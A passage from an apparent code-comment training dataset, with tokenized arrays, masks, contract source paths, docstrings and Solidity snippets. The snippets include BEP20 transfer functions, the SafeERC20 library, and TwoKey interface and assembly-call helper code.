0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
2882,
26488,
12,
203,
3639,
1758,
729,
16,
203,
3639,
1758,
8526,
3778,
1147,
203,
565,
262,
203,
3639,
1071,
203,
3639,
1476,
203,
3639,
1135,
12,
11890,
5034,
8526,
3778,
11013,
1076,
13,
203,
565,
288,
203,
3639,
11013,
1076,
273,
394,
2254,
5034,
8526,
12,
2316,
18,
2469,
1769,
203,
203,
3639,
364,
12,
11890,
5034,
770,
273,
374,
31,
770,
411,
1147,
18,
2469,
31,
770,
27245,
288,
203,
5411,
11013,
1076,
63,
1615,
65,
273,
324,
26488,
63,
2316,
63,
1615,
65,
6362,
1355,
15533,
203,
3639,
289,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/97/0x67758feAA8824de6DD8850f18343dbe3701Ae372/sources/project_/contracts/Token.sol
|
* @dev See {IBEP20-transferFrom}. Emits an {Approval} event indicating the updated allowance. This is not required by the EIP. See the note at the beginning of {BEP20}. Requirements: - `sender` and `recipient` cannot be the zero address. - `sender` must have a balance of at least `amount`. - the caller must have allowance for ``sender``'s tokens of at least `amount`./
|
function transferFrom(address sender, address recipient, uint256 amount) public virtual whenNotPause returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "BEP20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
| 5,023,282 |
[
1,
9704,
288,
45,
5948,
52,
3462,
17,
13866,
1265,
5496,
7377,
1282,
392,
288,
23461,
97,
871,
11193,
326,
3526,
1699,
1359,
18,
1220,
353,
486,
1931,
635,
326,
512,
2579,
18,
2164,
326,
4721,
622,
326,
8435,
434,
288,
5948,
52,
3462,
5496,
29076,
30,
300,
1375,
15330,
68,
471,
1375,
20367,
68,
2780,
506,
326,
3634,
1758,
18,
300,
1375,
15330,
68,
1297,
1240,
279,
11013,
434,
622,
4520,
1375,
8949,
8338,
300,
326,
4894,
1297,
1240,
1699,
1359,
364,
12176,
15330,
10335,
11,
87,
2430,
434,
622,
4520,
1375,
8949,
8338,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
7412,
1265,
12,
2867,
5793,
16,
1758,
8027,
16,
2254,
5034,
3844,
13,
1071,
5024,
1347,
1248,
19205,
1135,
261,
6430,
13,
288,
203,
3639,
389,
13866,
12,
15330,
16,
8027,
16,
3844,
1769,
203,
203,
3639,
2254,
5034,
783,
7009,
1359,
273,
389,
5965,
6872,
63,
15330,
6362,
67,
3576,
12021,
1435,
15533,
203,
3639,
2583,
12,
2972,
7009,
1359,
1545,
3844,
16,
315,
5948,
52,
3462,
30,
7412,
3844,
14399,
1699,
1359,
8863,
203,
565,
22893,
288,
203,
3639,
389,
12908,
537,
12,
15330,
16,
389,
3576,
12021,
9334,
783,
7009,
1359,
300,
3844,
1769,
203,
565,
289,
203,
203,
3639,
327,
638,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/42/0xaa4b8A9720c5C02aFA23e29dA6121BD7Dba4d0F6/sources/JCompound.sol
|
calculate taToken amount via cToken price
|
oldBal = getTokenBalance(trancheAddresses[_trancheNum].buyerCoinAddress);
| 3,475,601 |
[
1,
11162,
13561,
1345,
3844,
3970,
276,
1345,
6205,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
5411,
1592,
38,
287,
273,
9162,
13937,
12,
13171,
18706,
7148,
63,
67,
13171,
18706,
2578,
8009,
70,
16213,
27055,
1887,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/97/0x294196C52C68673Ac90cDBF58aB1Dc72405a4773/sources/project:/contracts/RoxInfinityLaunchpad.sol
|
* @title SafeERC20 @dev Wrappers around ERC20 operations that throw on failure (when the token contract returns false). Tokens that return no value (and instead revert or throw on failure) are also supported, non-reverting calls are assumed to be successful. To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, which allows you to call the safe operations as `token.safeTransfer(...)`, etc./
|
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transfer.selector, to, value)
);
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, value)
);
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(
token,
abi.encodeWithSelector(
token.approve.selector,
spender,
newAllowance
)
);
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(
oldAllowance >= value,
"SafeERC20: decreased allowance below zero"
);
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(
token,
abi.encodeWithSelector(
token.approve.selector,
spender,
newAllowance
)
);
}
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(
oldAllowance >= value,
"SafeERC20: decreased allowance below zero"
);
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(
token,
abi.encodeWithSelector(
token.approve.selector,
spender,
newAllowance
)
);
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(
data,
"SafeERC20: low-level call failed"
);
if (returndata.length > 0) {
require(
abi.decode(returndata, (bool)),
"SafeERC20: ERC20 operation did not succeed"
);
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(
data,
"SafeERC20: low-level call failed"
);
if (returndata.length > 0) {
require(
abi.decode(returndata, (bool)),
"SafeERC20: ERC20 operation did not succeed"
);
}
}
}
| 3,275,015 |
[
1,
9890,
654,
39,
3462,
225,
4266,
10422,
6740,
4232,
39,
3462,
5295,
716,
604,
603,
5166,
261,
13723,
326,
1147,
6835,
1135,
629,
2934,
13899,
716,
327,
1158,
460,
261,
464,
3560,
15226,
578,
604,
603,
5166,
13,
854,
2546,
3260,
16,
1661,
17,
266,
1097,
310,
4097,
854,
12034,
358,
506,
6873,
18,
2974,
999,
333,
5313,
1846,
848,
527,
279,
1375,
9940,
14060,
654,
39,
3462,
364,
467,
654,
39,
3462,
31,
68,
3021,
358,
3433,
6835,
16,
1492,
5360,
1846,
358,
745,
326,
4183,
5295,
487,
1375,
2316,
18,
4626,
5912,
5825,
13,
9191,
5527,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
12083,
14060,
654,
39,
3462,
288,
203,
565,
1450,
5267,
364,
1758,
31,
203,
203,
203,
203,
565,
445,
4183,
5912,
12,
45,
654,
39,
3462,
1147,
16,
1758,
358,
16,
2254,
5034,
460,
13,
2713,
288,
203,
3639,
389,
1991,
6542,
990,
12,
203,
5411,
1147,
16,
203,
5411,
24126,
18,
3015,
1190,
4320,
12,
2316,
18,
13866,
18,
9663,
16,
358,
16,
460,
13,
203,
3639,
11272,
203,
565,
289,
203,
203,
565,
445,
4183,
5912,
1265,
12,
203,
3639,
467,
654,
39,
3462,
1147,
16,
203,
3639,
1758,
628,
16,
203,
3639,
1758,
358,
16,
203,
3639,
2254,
5034,
460,
203,
565,
262,
2713,
288,
203,
3639,
389,
1991,
6542,
990,
12,
203,
5411,
1147,
16,
203,
5411,
24126,
18,
3015,
1190,
4320,
12,
2316,
18,
13866,
1265,
18,
9663,
16,
628,
16,
358,
16,
460,
13,
203,
3639,
11272,
203,
565,
289,
203,
203,
565,
445,
4183,
12053,
537,
12,
203,
3639,
467,
654,
39,
3462,
1147,
16,
203,
3639,
1758,
17571,
264,
16,
203,
3639,
2254,
5034,
460,
203,
565,
262,
2713,
288,
203,
3639,
2583,
12,
203,
5411,
261,
1132,
422,
374,
13,
747,
261,
2316,
18,
5965,
1359,
12,
2867,
12,
2211,
3631,
17571,
264,
13,
422,
374,
3631,
203,
5411,
315,
9890,
654,
39,
3462,
30,
6617,
537,
628,
1661,
17,
7124,
358,
1661,
17,
7124,
1699,
1359,
6,
203,
3639,
11272,
203,
3639,
389,
1991,
6542,
990,
12,
203,
5411,
1147,
16,
203,
5411,
24126,
18,
3015,
1190,
4320,
12,
2316,
18,
12908,
537,
18,
2
] |
./partial_match/1/0xd1569ffD7CA4393311f66110e6F87184C4817113/sources/LudumAirdrop.sol
|
selfdestruct(owner);
|
function sendRemainsToOwner() public onlyOwner {
uint256 balance = tokensAvailable();
require (balance > 0);
token.transfer(owner, balance);
}
| 9,172,101 |
[
1,
2890,
5489,
8813,
12,
8443,
1769,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
202,
915,
1366,
1933,
4167,
774,
5541,
1435,
1071,
1338,
5541,
288,
203,
202,
202,
11890,
5034,
11013,
273,
2430,
5268,
5621,
203,
202,
202,
6528,
261,
12296,
405,
374,
1769,
203,
202,
202,
2316,
18,
13866,
12,
8443,
16,
11013,
1769,
203,
202,
97,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.13;
contract IERC20 {
function balanceOf(
address whom
)
external
view
returns (uint);
function transfer(
address _to,
uint256 _value
)
external
returns (bool);
function transferFrom(
address _from,
address _to,
uint256 _value
)
external
returns (bool);
function approve(
address _spender,
uint256 _value
)
public
returns (bool);
function decimals()
external
view
returns (uint);
function symbol()
external
view
returns (string);
function name()
external
view
returns (string);
function freezeTransfers()
external;
function unfreezeTransfers()
external;
}
contract IStructuredStorage {
function setProxyLogicContractAndDeployer(address _proxyLogicContract, address _deployer) external;
function setProxyLogicContract(address _proxyLogicContract) external;
// *** Getter Methods ***
function getUint(bytes32 _key) external view returns(uint);
function getString(bytes32 _key) external view returns(string);
function getAddress(bytes32 _key) external view returns(address);
function getBytes(bytes32 _key) external view returns(bytes);
function getBool(bytes32 _key) external view returns(bool);
function getInt(bytes32 _key) external view returns(int);
function getBytes32(bytes32 _key) external view returns(bytes32);
// *** Getter Methods For Arrays ***
function getBytes32Array(bytes32 _key) external view returns (bytes32[]);
function getAddressArray(bytes32 _key) external view returns (address[]);
function getUintArray(bytes32 _key) external view returns (uint[]);
function getIntArray(bytes32 _key) external view returns (int[]);
function getBoolArray(bytes32 _key) external view returns (bool[]);
// *** Setter Methods ***
function setUint(bytes32 _key, uint _value) external;
function setString(bytes32 _key, string _value) external;
function setAddress(bytes32 _key, address _value) external;
function setBytes(bytes32 _key, bytes _value) external;
function setBool(bytes32 _key, bool _value) external;
function setInt(bytes32 _key, int _value) external;
function setBytes32(bytes32 _key, bytes32 _value) external;
// *** Setter Methods For Arrays ***
function setBytes32Array(bytes32 _key, bytes32[] _value) external;
function setAddressArray(bytes32 _key, address[] _value) external;
function setUintArray(bytes32 _key, uint[] _value) external;
function setIntArray(bytes32 _key, int[] _value) external;
function setBoolArray(bytes32 _key, bool[] _value) external;
// *** Delete Methods ***
function deleteUint(bytes32 _key) external;
function deleteString(bytes32 _key) external;
function deleteAddress(bytes32 _key) external;
function deleteBytes(bytes32 _key) external;
function deleteBool(bytes32 _key) external;
function deleteInt(bytes32 _key) external;
function deleteBytes32(bytes32 _key) external;
}
contract ITwoKeyEventSource {
function ethereumOf(address me) public view returns (address);
function plasmaOf(address me) public view returns (address);
function isAddressMaintainer(address _maintainer) public view returns (bool);
function getTwoKeyDefaultIntegratorFeeFromAdmin() public view returns (uint);
function joined(address _campaign, address _from, address _to) external;
function rejected(address _campaign, address _converter) external;
function convertedAcquisition(
address _campaign,
address _converterPlasma,
uint256 _baseTokens,
uint256 _bonusTokens,
uint256 _conversionAmount,
bool _isFiatConversion,
uint _conversionId
)
external;
function getTwoKeyDefaultNetworkTaxPercent()
public
view
returns (uint);
function convertedDonation(
address _campaign,
address _converterPlasma,
uint256 _conversionAmount,
uint256 _conversionId
)
external;
function executed(
address _campaignAddress,
address _converterPlasmaAddress,
uint _conversionId,
uint tokens
)
external;
function tokensWithdrawnFromPurchasesHandler(
address campaignAddress,
uint _conversionID,
uint _tokensAmountWithdrawn
)
external;
function emitDebtEvent(
address _plasmaAddress,
uint _amount,
bool _isAddition,
string _currency
)
external;
function emitReceivedTokensToDeepFreezeTokenPool(
address _campaignAddress,
uint _amountOfTokens
)
public;
function emitReceivedTokensAsModerator(
address _campaignAddress,
uint _amountOfTokens
)
public;
function emitDAIReleasedAsIncome(
address _campaignContractAddress,
uint _amountOfDAI
)
public;
function emitEndedBudgetCampaign(
address campaignPlasmaAddress,
uint contractorLeftover,
uint moderatorEarningsDistributed
)
public;
function emitUserWithdrawnNetworkEarnings(
address user,
uint amountOfTokens
)
public;
function emitRebalancedRewards(
uint cycleId,
uint difference,
string action
)
public;
}
contract ITwoKeyMaintainersRegistry {
function checkIsAddressMaintainer(address _sender) public view returns (bool);
function checkIsAddressCoreDev(address _sender) public view returns (bool);
function addMaintainers(address [] _maintainers) public;
function addCoreDevs(address [] _coreDevs) public;
function removeMaintainers(address [] _maintainers) public;
function removeCoreDevs(address [] _coreDevs) public;
}
contract ITwoKeyParticipationPaymentsManager {
function transferTokensFromParticipationMiningPool(
uint amountOfTokens
)
public;
}
contract ITwoKeyRegistry {
function checkIfUserExists(address _userAddress) public view returns (bool);
function getUserData(address _user) public view returns (bytes32,bytes32,bytes32);
}
contract ITwoKeySingletoneRegistryFetchAddress {
function getContractProxyAddress(string _contractName) public view returns (address);
function getNonUpgradableContractAddress(string contractName) public view returns (address);
function getLatestCampaignApprovedVersion(string campaignType) public view returns (string);
}
interface ITwoKeySingletonesRegistry {
/**
* @dev This event will be emitted every time a new proxy is created
* @param proxy representing the address of the proxy created
*/
event ProxyCreated(address proxy);
/**
* @dev This event will be emitted every time a new implementation is registered
* @param version representing the version name of the registered implementation
* @param implementation representing the address of the registered implementation
* @param contractName is the name of the contract we added new version
*/
event VersionAdded(string version, address implementation, string contractName);
/**
* @dev Registers a new version with its implementation address
* @param version representing the version name of the new implementation to be registered
* @param implementation representing the address of the new implementation to be registered
*/
function addVersion(string _contractName, string version, address implementation) public;
/**
* @dev Tells the address of the implementation for a given version
* @param _contractName is the name of the contract we're querying
* @param version to query the implementation of
* @return address of the implementation registered for the given version
*/
function getVersion(string _contractName, string version) public view returns (address);
}
contract ITwoKeyParticipationMiningPoolStorage is IStructuredStorage {
}
library Call {
function params0(address c, bytes _method) public view returns (uint answer) {
// https://medium.com/@blockchain101/calling-the-function-of-another-contract-in-solidity-f9edfa921f4c
// dc = c;
bytes4 sig = bytes4(keccak256(_method));
assembly {
// move pointer to free memory spot
let ptr := mload(0x40)
// put function sig at memory spot
mstore(ptr,sig)
let result := call( // use WARNING because this should be staticcall BUT geth crash!
15000, // gas limit
c, // sload(dc_slot), // to addr. append var to _slot to access storage variable
0, // not transfer any ether (comment if using staticcall)
ptr, // Inputs are stored at location ptr
0x04, // Inputs are 0 bytes long
ptr, //Store output over input
0x20) //Outputs are 1 bytes long
if eq(result, 0) {
revert(0, 0)
}
answer := mload(ptr) // Assign output to answer var
mstore(0x40,add(ptr,0x24)) // Set storage pointer to new space
}
}
function params1(address c, bytes _method, uint _val) public view returns (uint answer) {
// https://medium.com/@blockchain101/calling-the-function-of-another-contract-in-solidity-f9edfa921f4c
// dc = c;
bytes4 sig = bytes4(keccak256(_method));
assembly {
// move pointer to free memory spot
let ptr := mload(0x40)
// put function sig at memory spot
mstore(ptr,sig)
// append argument after function sig
mstore(add(ptr,0x04), _val)
let result := call( // use WARNING because this should be staticcall BUT geth crash!
15000, // gas limit
c, // sload(dc_slot), // to addr. append var to _slot to access storage variable
0, // not transfer any ether (comment if using staticcall)
ptr, // Inputs are stored at location ptr
0x24, // Inputs are 0 bytes long
ptr, //Store output over input
0x20) //Outputs are 1 bytes long
if eq(result, 0) {
revert(0, 0)
}
answer := mload(ptr) // Assign output to answer var
mstore(0x40,add(ptr,0x24)) // Set storage pointer to new space
}
}
function params2(address c, bytes _method, uint _val1, uint _val2) public view returns (uint answer) {
// https://medium.com/@blockchain101/calling-the-function-of-another-contract-in-solidity-f9edfa921f4c
// dc = c;
bytes4 sig = bytes4(keccak256(_method));
assembly {
// move pointer to free memory spot
let ptr := mload(0x40)
// put function sig at memory spot
mstore(ptr,sig)
// append argument after function sig
mstore(add(ptr,0x04), _val1)
mstore(add(ptr,0x24), _val2)
let result := call( // use WARNING because this should be staticcall BUT geth crash!
